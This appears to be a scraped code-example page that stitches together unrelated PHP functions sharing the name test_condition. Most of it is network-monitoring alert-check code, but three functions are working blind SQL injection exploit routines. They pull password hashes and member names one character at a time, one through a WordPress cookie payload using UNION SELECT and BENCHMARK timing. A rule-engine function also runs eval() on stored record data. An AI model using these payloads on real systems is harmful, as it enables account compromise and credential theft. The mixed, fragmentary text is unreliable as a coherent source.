Exemplo n.º 1
0
function get_hashchar($field, $pos)
{
    global $prefix, $suffix, $id, $testcnt;
    $char = '';
    $cnt = $testcnt * 4;
    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
    $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING({$field},{$pos},1))%s,BENCHMARK({$cnt},MD5(1337)),3)/*";
    // First let's determine, if it's number or letter
    $inj = sprintf($ipattern, $prefix, $id, ">57");
    $post = sprintf($ppattern, $suffix, $inj, $suffix);
    $letter = test_condition($post);
    if ($letter) {
        $min = 97;
        $max = 102;
        echo "char to find is [a-f]\n";
    } else {
        $min = 48;
        $max = 57;
        echo "char to find is [0-9]\n";
    }
    $curr = 0;
    while (1) {
        $area = $max - $min;
        if ($area < 2) {
            $inj = sprintf($ipattern, $prefix, $id, "={$max}");
            $post = sprintf($ppattern, $suffix, $inj, $suffix);
            $eq = test_condition($post);
            if ($eq) {
                $char = chr($max);
            } else {
                $char = chr($min);
            }
            break;
        }
        $half = intval(floor($area / 2));
        $curr = $min + $half;
        $inj = sprintf($ipattern, $prefix, $id, ">{$curr}");
        $post = sprintf($ppattern, $suffix, $inj, $suffix);
        $bigger = test_condition($post);
        if ($bigger) {
            $min = $curr;
        } else {
            $max = $curr;
        }
        echo "curr: {$curr}--{$max}--{$min}\n";
    }
    return $char;
}
function treat_rec($rec, $deflist)
{
    global $debug;
    $has_fired = false;
    foreach ($deflist as $def) {
        $fieldname = $def["FIELD"];
        $env_field = $def["ENV_FIELD"];
        $cell = $rec[$fieldname];
        $startvalue = $def["rule_startvalue"];
        // initialize the environment with some reasonable knowledge about our world
        $env = array_merge($def, $rec);
        // THINK: what's the correct precedence? Should full $rec override the stored environment $rec[$env_field] or not? I'm unsure
        if ($env_field) {
            $stored_env = eval("return " . $rec[$env_field] . ";");
            $env = array_merge($stored_env, $env);
        }
        $env["HAS_FORKED"] = false;
        $env["IS_SON"] = false;
        $env["IS_GLOBAL"] = false;
        $env["LEVEL"] = 0;
        if (test_location($env, $def["rule_location"]) && value_matches($env, $startvalue, $cell) && test_condition($env, $def["rule_condition"])) {
            if (!$has_fired) {
                // before starting the action, remember that we have fired...
                $firevalue = make_default($def["rule_firevalue"], $cell, "start");
                do_writeback($env, $firevalue);
                $has_fired = true;
            }
            // now do the action...
            $env["VALUE"] = $cell;
            $ok = do_action($env, $env["rule_action"]);
            if (!$ok) {
                // failure: try the next alternative
                //echo "FAIL......CONTINUE\n";
                if (@$env["IS_SON"]) {
                    // mission completed...
                    if ($debug) {
                        echo "forked mission failed.\n";
                    }
                    exit(-1);
                }
                continue;
            }
            if (@$env["HAS_FORKED"] || @$env["DO_BREAK"]) {
                //echo "BREAK......\n";
                break;
            }
            // record final result of execution,
            $endvalue = "-1 ENGINE_ERROR";
            // sorry, but this should never happen: the HIT_FLAG must always be set because of the $APPEND fallbacks
            if (@$env["HIT_FLAG"] && @$env["cont_endvalue"]) {
                $endvalue = make_default($env["cont_endvalue"], $env["VALUE"], "end", 2);
            }
            do_writeback($env, $endvalue);
            // end this record
            break;
        }
    }
    // only the father process should consider the next record...
    if (@$env["IS_SON"]) {
        // mission completed...
        if ($debug) {
            echo "forked mission completed.\n";
        }
        exit(0);
    }
}
/**
 * Check an entity against all relevant alerts
 *
 * @param string type
 * @param array entity
 * @param array data
 * @return NULL
 */
function check_entity($type, $entity, $data)
{
    global $config, $alert_rules, $alert_table, $device;
    echo "\nChecking alerts\n";
    if ($GLOBALS['debug']) {
        print_vars($data);
    }
    list($entity_table, $entity_id_field, $entity_name_field, $entity_ignore_field) = entity_type_translate($type);
    foreach ($alert_table[$type][$entity[$entity_id_field]] as $alert_test_id => $alert_args) {
        if ($alert_rules[$alert_test_id]['and']) {
            $alert = TRUE;
        } else {
            $alert = FALSE;
        }
        $update_array = array();
        if (is_array($alert_rules[$alert_test_id])) {
            echo "Checking alert " . $alert_test_id . " associated by " . $alert_args['alert_assocs'] . "\n";
            foreach ($alert_rules[$alert_test_id]['conditions'] as $test_key => $test) {
                if (substr($test['value'], 0, 1) == "@") {
                    $ent_val = substr($test['value'], 1);
                    $test['value'] = $entity[$ent_val];
                    echo " replaced @" . $ent_val . " with " . $test['value'] . " from entity. ";
                }
                echo "Testing: " . $test['metric'] . " " . $test['condition'] . " " . $test['value'];
                $update_array['state']['metrics'][$test['metric']] = $data[$test['metric']];
                if (isset($data[$test['metric']])) {
                    echo " (value: " . $data[$test['metric']] . ")";
                    if (test_condition($data[$test['metric']], $test['condition'], $test['value'])) {
                        // A test has failed. Set the alert variable and make a note of what failed.
                        echo " FAIL ";
                        $update_array['state']['failed'][] = $test;
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && TRUE;
                        } else {
                            $alert = $alert || TRUE;
                        }
                    } else {
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && FALSE;
                        } else {
                            $alert = $alert || FALSE;
                        }
                        echo " OK ";
                    }
                } else {
                    echo "  Metric is not present on entity.\n";
                    if ($alert_rules[$alert_test_id]['and']) {
                        $alert = $alert && FALSE;
                    } else {
                        $alert = $alert || FALSE;
                    }
                }
            }
            if ($alert) {
                // Check to see if this alert has been suppressed by anything
                ## FIXME -- not all of this is implemented
                // Have all alerts on the device been suppressed?
                if ($device['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "DEV";
                }
                if (is_numeric($device['ignore_until']) && $device['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "DEV_UNTIL";
                }
                // Have all alerts on the entity been suppressed?
                if ($entity[$entity_ignore_field]) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTITY";
                }
                if (is_numeric($entity['ignore_until']) && $entity['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTITY_UNTIL";
                }
                // Have alerts from this alerter been suppressed?
                if ($alert_rules[$alert_test_id]['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "CHECK";
                }
                if (is_numeric($alert_rules[$alert_test_id]['ignore_until']) && $alert_rules[$alert_test_id]['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "CHECK_UNTIL";
                }
                // Has this specific alert been suppressed?
                if ($alert_args['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY";
                }
                if (is_numeric($alert_args['ignore_until']) && $alert_args['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY_UNTIL";
                }
                if (is_numeric($alert_args['ignore_until_ok']) && $alert_args['ignore_until_ok'] == '1') {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY_UNTIL_OK";
                }
                $update_array['count'] = $alert_args['count'] + 1;
                // Check against the alert test's delay
                if ($update_array['count'] >= $alert_rules[$alert_test_id]['delay'] && $alert_suppressed) {
                    // This alert is valid, but has been suppressed.
                    echo " Checks failed. Alert suppressed (" . implode(', ', $suppressed) . ").\n";
                    $update_array['alert_status'] = '3';
                    $update_array['last_message'] = 'Checks failed (Suppressed: ' . implode(', ', $suppressed) . ')';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '3' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                } elseif ($update_array['count'] >= $alert_rules[$alert_test_id]['delay']) {
                    // This is a real alert.
                    echo " Checks failed. Generate alert.\n";
                    $update_array['alert_status'] = '0';
                    $update_array['last_message'] = 'Checks failed';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '0' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        $update_array['last_alerted'] = '0';
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                } else {
                    // This is alert needs to exist for longer.
                    echo " Checks failed. Delaying alert.\n";
                    $update_array['alert_status'] = '2';
                    $update_array['last_message'] = 'Checks failed (delayed)';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '2' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                }
            } else {
                $update_array['count'] = 0;
                // Alert conditions passed. Record that we tested it and update status and other data.
                echo " Checks OK.\n";
                $update_array['alert_status'] = '1';
                $update_array['last_message'] = 'Checks OK';
                $update_array['last_checked'] = time();
                #$update_array['count'] = 0;
                if ($alert_args['alert_status'] != '1' || $alert_args['last_changed'] == '0') {
                    $update_array['last_changed'] = time();
                }
                // Status is OK, so disable ignore_until_ok if it has been enabled
                if ($alert_args['ignore_until_ok'] != '0') {
                    $update_array['ignore_until_ok'] = '0';
                }
            }
            unset($suppressed);
            unset($alert_suppressed);
            // json_encode the state array before we put it into MySQL.
            $update_array['state'] = json_encode($update_array['state']);
            #$update_array['alert_table_id'] = $alert_args['alert_table_id'];
            /// Perhaps this is better done with SQL replace?
            #print_vars($alert_args);
            if (!$alert_args['state_entry']) {
                // State entry seems to be missing. Insert it before we update it.
                dbInsert(array('alert_table_id' => $alert_args['alert_table_id']), 'alert_table-state');
                echo "INSERTING";
            }
            dbUpdate($update_array, 'alert_table-state', '`alert_table_id` = ?', array($alert_args['alert_table_id']));
        } else {
            echo "Alert missing!";
        }
    }
}
function get_userchar($pos, $id)
{
    global $prefix;
    $char = '';
    $pattern = 'm.member_id=' . $id . ' AND ORD(SUBSTR(m.name,' . $pos . ',1))';
    // First let's determine, if it's number or letter
    $post = $pattern . '%253e57';
    $letter = test_condition($post);
    if ($letter) {
        $min = 65;
        $max = 122;
        xecho("Char to find is [a-f]\n");
    } else {
        $min = 48;
        $max = 57;
        xecho("Char to find is [0-9]\n");
    }
    $curr = 0;
    while (1) {
        $area = $max - $min;
        if ($area < 2) {
            $post = $pattern . "={$max}";
            $eq = test_condition($post);
            if ($eq) {
                $char = chr($max);
            } else {
                $char = chr($min);
            }
            break;
        }
        $half = intval(floor($area / 2));
        $curr = $min + $half;
        $post = $pattern . '%253e' . $curr;
        $bigger = test_condition($post);
        if ($bigger) {
            $min = $curr;
        } else {
            $max = $curr;
        }
        xecho("Current test: {$curr}-{$max}-{$min}\n");
    }
    return $char;
}
function check_entity($type, $entity, $data)
{
    global $config, $alert_rules, $alert_table, $device;
    print_message("\n检测警报");
    if (OBS_DEBUG) {
        print_vars($data);
    }
    list($entity_table, $entity_id_field, $entity_name_field, $entity_ignore_field) = entity_type_translate($type);
    if (!isset($alert_table[$type][$entity[$entity_id_field]])) {
        return;
    }
    // Just return to avoid PHP warnings
    $alert_info = array('entity_type' => $type, 'entity_id' => $entity[$entity_id_field]);
    foreach ($alert_table[$type][$entity[$entity_id_field]] as $alert_test_id => $alert_args) {
        if ($alert_rules[$alert_test_id]['and']) {
            $alert = TRUE;
        } else {
            $alert = FALSE;
        }
        $alert_info['alert_test_id'] = $alert_test_id;
        $update_array = array();
        if (is_array($alert_rules[$alert_test_id])) {
            echo "测试中警报 " . $alert_test_id . " associated by " . $alert_args['alert_assocs'] . "\n";
            foreach ($alert_rules[$alert_test_id]['conditions'] as $test_key => $test) {
                if (substr($test['value'], 0, 1) == "@") {
                    $ent_val = substr($test['value'], 1);
                    $test['value'] = $entity[$ent_val];
                    echo " replaced @" . $ent_val . " with " . $test['value'] . " from entity. ";
                }
                echo "测试中: " . $test['metric'] . " " . $test['condition'] . " " . $test['value'];
                $update_array['state']['metrics'][$test['metric']] = $data[$test['metric']];
                if (isset($data[$test['metric']])) {
                    echo " (值: " . $data[$test['metric']] . ")";
                    if (test_condition($data[$test['metric']], $test['condition'], $test['value'])) {
                        // A test has failed. Set the alert variable and make a note of what failed.
                        echo " 失败 ";
                        $update_array['state']['failed'][] = $test;
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && TRUE;
                        } else {
                            $alert = $alert || TRUE;
                        }
                    } else {
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && FALSE;
                        } else {
                            $alert = $alert || FALSE;
                        }
                        echo " OK ";
                    }
                } else {
                    echo "  测量单位不存在.\n";
                    if ($alert_rules[$alert_test_id]['and']) {
                        $alert = $alert && FALSE;
                    } else {
                        $alert = $alert || FALSE;
                    }
                }
            }
            if ($alert) {
                // Check to see if this alert has been suppressed by anything
                ## FIXME -- not all of this is implemented
                // Have all alerts been suppressed?
                if ($config['alerts']['suppress']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "GLOBAL";
                }
                // Have all alerts on the device been suppressed?
                if ($device['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "DEV";
                }
                if ($device['ignore_until']) {
                    $device['ignore_until_time'] = strtotime($device['ignore_until']);
                    if ($device['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "DEV_UNTIL";
                        echo ' DEVSUPP ';
                    }
                }
                // Have all alerts on the entity been suppressed?
                if ($entity[$entity_ignore_field]) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTITY";
                }
                if (is_numeric($entity['ignore_until']) && $entity['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTITY_UNTIL";
                }
                // Have alerts from this alerter been suppressed?
                if ($alert_rules[$alert_test_id]['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "CHECK";
                }
                if ($alert_rules[$alert_test_id]['ignore_until']) {
                    $alert_rules[$alert_test_id]['ignore_until_time'] = strtotime($alert_rules[$alert_test_id]['ignore_until']);
                    if ($alert_rules[$alert_test_id]['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "CHECK_UNTIL";
                    }
                }
                // Has this specific alert been suppressed?
                if ($alert_args['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY";
                }
                if ($alert_args['ignore_until']) {
                    $alert_args['ignore_until_time'] = strtotime($alert_args['ignore_until']);
                    if ($alert_args['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "ENTRY_UNTIL";
                    }
                }
                if (is_numeric($alert_args['ignore_until_ok']) && $alert_args['ignore_until_ok'] == '1') {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY_UNTIL_OK";
                }
                $update_array['count'] = $alert_args['count'] + 1;
                // Check against the alert test's delay
                if ($alert_args['count'] >= $alert_rules[$alert_test_id]['delay'] && $alert_suppressed) {
                    // This alert is valid, but has been suppressed.
                    echo " Checks failed. Alert suppressed (" . implode(', ', $suppressed) . ").\n";
                    $update_array['alert_status'] = '3';
                    $update_array['last_message'] = '检测失败(限制: ' . implode(', ', $suppressed) . ')';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '3' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        log_alert('检测错误但是报警被 [' . implode($suppressed, ',') . ']', $device, $alert_info, 'FAIL_SUPPRESSED');
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                } elseif ($alert_args['count'] >= $alert_rules[$alert_test_id]['delay']) {
                    // This is a real alert.
                    echo " 检查失败. 生成警报.\n";
                    $update_array['alert_status'] = '0';
                    $update_array['last_message'] = '检测失败';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '0' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        $update_array['last_alerted'] = '0';
                        log_alert('检测错误', $device, $alert_info, 'FAIL');
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                } else {
                    // This is alert needs to exist for longer.
                    echo " Checks failed. Delaying alert.\n";
                    $update_array['alert_status'] = '2';
                    $update_array['last_message'] = '检测失败(延迟)';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '2' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        log_alert('检查失败但警报延迟', $device, $alert_info, 'FAIL_DELAYED');
                    }
                    if (!isset($alert_args['last_failed']) || $alert_args['last_failed'] == '0') {
                        $update_array['last_failed'] = time();
                    }
                }
            } else {
                $update_array['count'] = 0;
                // Alert conditions passed. Record that we tested it and update status and other data.
                echo " Checks OK.\n";
                $update_array['alert_status'] = '1';
                $update_array['last_message'] = '检测OK';
                $update_array['last_checked'] = time();
                #$update_array['count'] = 0;
                if ($alert_args['alert_status'] != '1' || $alert_args['last_changed'] == '0') {
                    $update_array['last_changed'] = time();
                    log_alert('Checks succeeded', $device, $alert_info, 'OK');
                }
                // Status is OK, so disable ignore_until_ok if it has been enabled
                if ($alert_args['ignore_until_ok'] != '0') {
                    $update_entry_array['ignore_until_ok'] = '0';
                }
            }
            unset($suppressed);
            unset($alert_suppressed);
            // json_encode the state array before we put it into MySQL.
            $update_array['state'] = json_encode($update_array['state']);
            #$update_array['alert_table_id'] = $alert_args['alert_table_id'];
            /// Perhaps this is better done with SQL replace?
            #print_vars($alert_args);
            if (!$alert_args['state_entry']) {
                // State entry seems to be missing. Insert it before we update it.
                dbInsert(array('alert_table_id' => $alert_args['alert_table_id']), 'alert_table-state');
                echo "INSERTING";
            }
            dbUpdate($update_array, 'alert_table-state', '`alert_table_id` = ?', array($alert_args['alert_table_id']));
            if (is_array($update_entry_array)) {
                dbUpdate($update_entry_array, 'alert_table', '`alert_table_id` = ?', array($alert_args['alert_table_id']));
            }
            if (TRUE) {
                // Write RRD data
                $rrd = "alert-" . $alert_args['alert_table_id'] . ".rrd";
                rrdtool_create($device, $rrd, "DS:status:GAUGE:600:0:1 DS:code:GAUGE:600:-7:7");
                if ($update_array['alert_status'] == "1") {
                    // Status is up
                    rrdtool_update($device, $rrd, "N:1:" . $update_array['alert_status']);
                } else {
                    rrdtool_update($device, $rrd, "N:0:" . $update_array['alert_status']);
                }
            }
        } else {
            echo "报警错误!";
        }
    }
}
Exemplo n.º 6
0
/**
 * Check entity data against alert conditions
 *
 * @param value_a
 * @param condition
 * @param value_b
*/
function check_entity($device, $entity_type, $entity_id, $data)
{
    global $glo_conditions;
    global $dev_conditions;
    if (!empty($entity_id)) {
        echo " {$entity_id}";
    }
    foreach ($data as $name => $value) {
        foreach ($dev_conditions[$entity_type][$entity_id][$name] as $condition) {
            $alert = test_condition($value, $condition['condition'], $condition['value']);
            if ($alert == 1) {
                echo "ALERT ";
            } else {
                echo "OK ";
            }
        }
    }
}
Exemplo n.º 7
0
function get_hashchar($pos)
{
    global $prefix, $id;
    $char = '';
    $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id={$id} AND ORD(SUBSTR(converge_pass_hash,{$pos},1))";
    // First let's determine, if it's number or letter
    $post = $pattern . '%253e57';
    $letter = test_condition($post);
    if ($letter) {
        $min = 97;
        $max = 102;
        xecho("Char to find is [a-f]\n");
    } else {
        $min = 48;
        $max = 57;
        xecho("Char to find is [0-9]\n");
    }
    $curr = 0;
    while (1) {
        $area = $max - $min;
        if ($area < 2) {
            $post = $pattern . "={$max}";
            $eq = test_condition($post);
            if ($eq) {
                $char = chr($max);
            } else {
                $char = chr($min);
            }
            break;
        }
        $half = intval(floor($area / 2));
        $curr = $min + $half;
        $post = $pattern . '%253e' . $curr;
        $bigger = test_condition($post);
        if ($bigger) {
            $min = $curr;
        } else {
            $max = $curr;
        }
        xecho("Current test: {$curr}-{$max}-{$min}\n");
    }
    return $char;
}
Exemplo n.º 8
0
function check_entity($entity_type, $entity, $data)
{
    global $config, $alert_rules, $alert_table, $device;
    $alert_output = "";
    if (OBS_DEBUG) {
        print_vars($data);
    }
    list($entity_table, $entity_id_field, $entity_name_field, $entity_ignore_field) = entity_type_translate($entity_type);
    if (!isset($alert_table[$entity_type][$entity[$entity_id_field]])) {
        return;
    }
    // Just return to avoid PHP warnings
    $alert_info = array('entity_type' => $entity_type, 'entity_id' => $entity[$entity_id_field]);
    foreach ($alert_table[$entity_type][$entity[$entity_id_field]] as $alert_test_id => $alert_args) {
        if ($alert_rules[$alert_test_id]['and']) {
            $alert = TRUE;
        } else {
            $alert = FALSE;
        }
        $alert_info['alert_test_id'] = $alert_test_id;
        $alert_checker = $alert_rules[$alert_test_id];
        $update_array = array();
        if (is_array($alert_rules[$alert_test_id])) {
            //echo("Checking alert ".$alert_test_id." associated by ".$alert_args['alert_assocs']."\n");
            $alert_output .= $alert_rules[$alert_test_id]['alert_name'] . " [";
            foreach ($alert_rules[$alert_test_id]['conditions'] as $test_key => $test) {
                if (substr($test['value'], 0, 1) == "@") {
                    $ent_val = substr($test['value'], 1);
                    $test['value'] = $entity[$ent_val];
                    //echo(" replaced @".$ent_val." with ". $test['value'] ." from entity. ");
                }
                //echo("Testing: " . $test['metric']. " ". $test['condition'] . " " .$test['value']);
                $update_array['state']['metrics'][$test['metric']] = $data[$test['metric']];
                if (isset($data[$test['metric']])) {
                    //echo(" (value: ".$data[$test['metric']].")");
                    if (test_condition($data[$test['metric']], $test['condition'], $test['value'])) {
                        // A test has failed. Set the alert variable and make a note of what failed.
                        //print_cli("%R[FAIL]%N");
                        $update_array['state']['failed'][] = $test;
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && TRUE;
                        } else {
                            $alert = $alert || TRUE;
                        }
                    } else {
                        if ($alert_rules[$alert_test_id]['and']) {
                            $alert = $alert && FALSE;
                        } else {
                            $alert = $alert || FALSE;
                        }
                        //print_cli("%G[OK]%N");
                    }
                } else {
                    //echo("  Metric is not present on entity.\n");
                    if ($alert_rules[$alert_test_id]['and']) {
                        $alert = $alert && FALSE;
                    } else {
                        $alert = $alert || FALSE;
                    }
                }
            }
            if ($alert) {
                // Check to see if this alert has been suppressed by anything
                ## FIXME -- not all of this is implemented
                // Have all alerts been suppressed?
                if ($config['alerts']['suppress']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "GLOBAL";
                }
                // Is there a global scheduled maintenance?
                if (isset($GLOBALS['cache']['maint']['global']) && count($GLOBALS['cache']['maint']['global']) > 0) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "MNT_GBL";
                }
                // Have all alerts on the device been suppressed?
                if ($device['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "DEV";
                }
                if ($device['ignore_until']) {
                    $device['ignore_until_time'] = strtotime($device['ignore_until']);
                    if ($device['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "DEV_U";
                    }
                }
                if (isset($GLOBALS['cache']['maint'][$entity_type][$entity[$entity_id_field]])) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "MNT_ENT";
                }
                if (isset($GLOBALS['cache']['maint']['alert_checker'][$alert_test_id])) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "MNT_CHK";
                }
                if (isset($GLOBALS['cache']['maint']['device'][$device['device_id']])) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "MNT_DEV";
                }
                // Have all alerts on the entity been suppressed?
                if ($entity[$entity_ignore_field]) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENT";
                }
                if (is_numeric($entity['ignore_until']) && $entity['ignore_until'] > time()) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENT_U";
                }
                // Have alerts from this alerter been suppressed?
                if ($alert_rules[$alert_test_id]['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "CHECK";
                }
                if ($alert_rules[$alert_test_id]['ignore_until']) {
                    $alert_rules[$alert_test_id]['ignore_until_time'] = strtotime($alert_rules[$alert_test_id]['ignore_until']);
                    if ($alert_rules[$alert_test_id]['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "CHECK_UNTIL";
                    }
                }
                // Has this specific alert been suppressed?
                if ($alert_args['ignore']) {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY";
                }
                if ($alert_args['ignore_until']) {
                    $alert_args['ignore_until_time'] = strtotime($alert_args['ignore_until']);
                    if ($alert_args['ignore_until_time'] > time()) {
                        $alert_suppressed = TRUE;
                        $suppressed[] = "ENTRY_UNTIL";
                    }
                }
                if (is_numeric($alert_args['ignore_until_ok']) && $alert_args['ignore_until_ok'] == '1') {
                    $alert_suppressed = TRUE;
                    $suppressed[] = "ENTRY_UNTIL_OK";
                }
                $update_array['count'] = $alert_args['count'] + 1;
                // Check against the alert test's delay
                if ($alert_args['count'] >= $alert_rules[$alert_test_id]['delay'] && $alert_suppressed) {
                    // This alert is valid, but has been suppressed.
                    //echo(" Checks failed. Alert suppressed (".implode(', ', $suppressed).").\n");
                    $alert_output .= "%PFS%N";
                    $update_array['alert_status'] = '3';
                    $update_array['last_message'] = 'Checks failed (Suppressed: ' . implode(', ', $suppressed) . ')';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '3' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        $log_id = log_alert('Checks failed but alert suppressed by [' . implode($suppressed, ',') . ']', $device, $alert_info, 'FAIL_SUPPRESSED');
                    }
                    $update_array['last_failed'] = time();
                } elseif ($alert_args['count'] >= $alert_rules[$alert_test_id]['delay']) {
                    // This is a real alert.
                    //echo(" Checks failed. Generate alert.\n");
                    $alert_output .= "%PF!%N";
                    $update_array['alert_status'] = '0';
                    $update_array['last_message'] = 'Checks failed';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '0' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        $update_array['last_alerted'] = '0';
                        $log_id = log_alert('Checks failed', $device, $alert_info, 'FAIL');
                    }
                    $update_array['last_failed'] = time();
                } else {
                    // This is alert needs to exist for longer.
                    //echo(" Checks failed. Delaying alert.\n");
                    $alert_output .= "%OFD%N";
                    $update_array['alert_status'] = '2';
                    $update_array['last_message'] = 'Checks failed (delayed)';
                    $update_array['last_checked'] = time();
                    if ($alert_args['alert_status'] != '2' || $alert_args['last_changed'] == '0') {
                        $update_array['last_changed'] = time();
                        $log_id = log_alert('Checks failed but alert delayed', $device, $alert_info, 'FAIL_DELAYED');
                    }
                    $update_array['last_failed'] = time();
                }
            } else {
                $update_array['count'] = 0;
                // Alert conditions passed. Record that we tested it and update status and other data.
                $alert_output .= "%gOK%N";
                $update_array['alert_status'] = '1';
                $update_array['last_message'] = 'Checks OK';
                $update_array['last_checked'] = time();
                #$update_array['count'] = 0;
                if ($alert_args['alert_status'] != '1' || $alert_args['last_changed'] == '0') {
                    $update_array['last_changed'] = time();
                    $log_id = log_alert('Checks succeeded', $device, $alert_info, 'OK');
                }
                $update_array['last_ok'] = time();
                // Status is OK, so disable ignore_until_ok if it has been enabled
                if ($alert_args['ignore_until_ok'] != '0') {
                    $update_entry_array['ignore_until_ok'] = '0';
                }
            }
            unset($suppressed);
            unset($alert_suppressed);
            // json_encode the state array before we put it into MySQL.
            $update_array['state'] = json_encode($update_array['state']);
            #$update_array['alert_table_id'] = $alert_args['alert_table_id'];
            /// Perhaps this is better done with SQL replace?
            #print_vars($alert_args);
            //if (!$alert_args['state_entry'])
            //{
            // State entry seems to be missing. Insert it before we update it.
            //dbInsert(array('alert_table_id' => $alert_args['alert_table_id']), 'alert_table-state');
            // echo("I+");
            //}
            dbUpdate($update_array, 'alert_table', '`alert_table_id` = ?', array($alert_args['alert_table_id']));
            if (is_array($update_entry_array)) {
                dbUpdate($update_entry_array, 'alert_table', '`alert_table_id` = ?', array($alert_args['alert_table_id']));
            }
            if (TRUE) {
                // Write RRD data
                if ($update_array['alert_status'] == "1") {
                    // Status is up
                    rrdtool_update_ng($device, 'alert', array('status' => 1, 'code' => $update_array['alert_status']), $alert_args['alert_table_id']);
                } else {
                    rrdtool_update_ng($device, 'alert', array('status' => 0, 'code' => $update_array['alert_status']), $alert_args['alert_table_id']);
                }
            }
        } else {
            $alert_output .= "%RAlert missing!%N";
        }
        $alert_output .= "] ";
    }
    $alert_output .= "%n";
    if ($entity_type == "device") {
        $cli_level = 1;
    } else {
        $cli_level = 3;
    }
    //print_cli_data("Checked Alerts", $alert_output, $cli_level);
}